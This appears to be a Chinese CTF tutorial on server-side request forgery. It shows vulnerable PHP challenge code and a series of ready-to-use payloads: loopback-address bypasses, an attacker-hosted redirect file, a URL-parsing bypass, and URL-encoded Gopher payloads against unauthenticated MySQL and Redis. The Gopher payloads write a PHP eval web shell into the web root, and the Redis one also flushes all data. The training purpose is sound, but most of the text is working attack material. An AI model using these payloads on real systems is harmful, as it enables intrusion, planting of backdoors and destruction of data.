简介
服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
危害
SSRF可以对外网、服务器所在内网、本地进行端口扫描，攻击运行在内网或本地的应用，或者利用File协议读取本地文件。
内网服务防御相对外网服务来说一般会较弱，甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证，所以存在SSRF时，通常会造成较大的危害
1.基础型
题目源代码：
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);//初始化 cURL 会话
curl_setopt($ch, CURLOPT_HEADER, 0);//启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//将curl_exec()获取的信息以文件流的形式返回，而不是直接输出。
$result=curl_exec($ch);//执行 cURL 会话
curl_close($ch);//关闭 cURL 会话
echo ($result);
?>
ssrf就是利用我们可以访问到的服务器，对其服务器下面的内网进行探测，也可以理解为服务器拥有外网ip，而我们要访问的电脑则是在公网ip进行nat后分配的内网ip
payload：url=127.0.0.1/flag.php
2.绕过型
有时候会对传入的数据进行关键字过滤或者对输入的长度有限制，这时候通过其他方式也可以实现SSRF
url=http://0/flag.php
url=http://127.1/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
奇淫巧技：将域名A类指向127.0.0.1
http(s)://sudo.cc/指向127.0.0.1
url=http://sudo.cc/flag.php
3.ip过滤型
有时候会限制127.0.0.1对内容的访问，这时候需要在自己的服务器的/var/www/html目录下写一个ssrf.php，就能绕过，之所以这么过滤，也算是预防ssrf的一个方式
<?php header("Location: http://127.0.0.1/flag.php");?>
# POST: url=http://your-domain/ssrf.php
4.特殊开头结尾型
源代码：
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
?>
要求以http://ctf.开头，以show结尾：url=http://ctf.@127.0.0.1/flag.php?show
5.Gopher协议打无密码的mysql
拿到
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01
但是不能直接使用，因为gopher://127.0.0.1:3306/_后面的内容需要再urlencode一次，最后得到
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501
6.Gopher协议打redis
这里默认是生成shell.php
依旧是urlencode
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
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